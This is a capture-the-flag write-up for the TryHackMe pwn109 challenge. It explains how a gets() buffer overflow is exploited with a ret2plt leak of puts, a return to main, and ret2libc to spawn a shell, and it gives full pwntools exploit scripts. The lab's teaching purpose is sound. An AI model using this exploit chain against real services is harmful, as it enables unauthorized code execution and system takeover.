Ret2plt + ret2libc : bypassing ASLR from a buffer overflow
TryHackMe pwn109 challenge
Binary protections
$ checksec pwn109-1644300507645.pwn109
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
-
No canary : we can overwrite the return address without crashing the program (otherwise we'd have had to plan around it).
-
No PIE : the binary is loaded at a fixed address.
-
NX enabled : the stack isn't executable. No shellcode in the buffer, we'll have to reuse existing code if we want to hijack execution.
-
ASLR (server side) : the libc is loaded at a random address.
Binary recon
We run it to see how it behaves :
$ ./pwn109-1644300507645.pwn109
This time no trash & cat flag. Go ahead
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
[1] 762 segmentation fault (core dumped)
A bunch of A and it segfaults. Classic buffer overflow. Now to figure out where it comes from.
The vulnerability
pwndbg> disass main
0x00000000004011f2 <+0>: endbr64
...
0x0000000000401212 <+32>: lea rdi,[rip+0xf07] # 0x402120 "This time no..."
0x0000000000401219 <+39>: call 0x401060 <puts@plt>
0x000000000040121e <+44>: lea rax,[rbp-0x20]
0x0000000000401222 <+48>: mov rdi,rax
0x0000000000401225 <+51>: mov eax,0x0
0x000000000040122a <+56>: call 0x401070 <gets@plt>
0x000000000040122f <+61>: nop
0x0000000000401230 <+62>: leave
0x0000000000401231 <+63>: ret
The issue is gets at +56. It reads into [rbp-0x20] with no bound whatsoever. More generally in C, the gets() function is dangerous because it doesn't check the maximum length of the string the user types in.
There's no win function to call in the binary, and no hidden /bin/sh. We'll have to build the shell ourselves from the libc.
The plan
The constraints in short :
-
overflow on the stack
-
fixed binary (no PIE)
-
randomized libc (ASLR).
Going back to my notes (memory vulnerabilities foundation), the exploitation chain that works is ret2plt + ret2main then ret2libc :
- Leak : call
puts(puts@got)through the PLT to print the real address ofputsin the libc. From that we deducebase_libc = leak - offset(puts). - ret2main : return into
mainto re-trigger the overflow, this time knowing the libc. - ret2libc : call
system("/bin/sh")with the recomputed addresses.
The core idea of stage 1 is that the PLT sits at a fixed address, and once puts is resolved, its GOT entry holds its real address in the libc.
Finding the RIP offset
We generate a cyclic pattern and look at what lands on the return address.
Breakpoint right before the ret, we send the pattern, and we look at where it lands on the stack :
pwndbg> b *main+61
pwndbg> run
...
Breakpoint 1, 0x000000000040122f in main ()
04:0020│ rbp 0x7fff4c9e19e0 ◂— 'iaaajaaakaaalaaamaaanaaaoaaap...'
05:0028│+008 0x7fff4c9e19e8 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaar...'
The pattern spills onto rbp+008 (RIP) right at "kaaa". We ask pwndbg what offset that corresponds to :
The first 40 bytes fill the buffer (0x20) and the saved rbp (0x08), and what follows is the return address.
Naive version that doesn't work
Since there's already a call puts@plt at +39 in the binary, I figured I'd just to return in it.
It doesn't work, because jumping to 0x401219 lands right on the call puts. But the argument to puts is rdi (x86-64 SysV ABI convention), and it was set one instruction earlier with the address of the banner.
Leak via ret2plt
The chain we want to run after main's ret :
pop rdi ; ret <- pops the next value into rdi
puts@got <- value popped into rdi (the address of puts's GOT entry)
puts@plt <- we call puts, which prints what rdi holds
from pwn import *
context.binary = elf = ELF("./pwn109-1644300507645.pwn109")
libc = elf.libc
rop = ROP(elf)
POP_RDI = rop.find_gadget(["pop rdi", "ret"]).address
RET = rop.find_gadget(["ret"]).address
OFFSET = 40
p = process()
p.recvuntil(b"Go ahead")
p.recvline()
payload = b"A" * OFFSET
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(RET)
payload += p64(elf.symbols["main"])
p.sendline(payload)
leak = u64(p.recvline().rstrip(b"\n").ljust(8, b"\x00"))
log.info(f"puts leak = {hex(leak)}")
libc.address = leak - libc.sym["puts"]
log.info(f"libc base = {hex(libc.address)}")
The leak comes through, and the libc base follows from it.
The p64(RET) at the start is for stack alignment. Before calling system, some libc functions run movaps, which requires RSP aligned to 16 bytes. A standalone ret eats 8 bytes and puts the alignment back straight.
Ret2main
A leak is useless if the program ends right after. Hence the p64(elf.symbols["main"]) at the end of the payload. Once the leak is printed, we return into main, the overflow is re-armed, and we can send a second payload knowing the libc.
Classic ret2libc
Same recipe as stage 1, except we aim at system with "/bin/sh" as the argument. "/bin/sh" is a string that already exists in the libc, so we search for it at runtime.
p.recvuntil(b"Go ahead")
p.recvline()
binsh = next(libc.search(b"/bin/sh"))
payload2 = b"A" * OFFSET
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(binsh)
payload2 += p64(libc.sym["system"])
p.sendline(payload2)
p.interactive()
Locally the exploit works, but not remotely...
The libc trap
Locally, the offsets of puts, system and /bin/sh come from my libc, since the program is dynamically linked. Remotely, the server's libc is potentially different, so the offsets for the same functions differ. The computed base is correct, but libc.sym["system"] points off target.
We need to identify the remote libc. We have a remote leak (puts = 0x7f60316e9420), and https://libc.rip lets us recover the libc from a symbol/address pair (the low 12 bits of an address don't move with ASLR, they're enough to match).
Here the correct libc was :
We plug this libc into the script instead of elf.libc, and everything falls into place.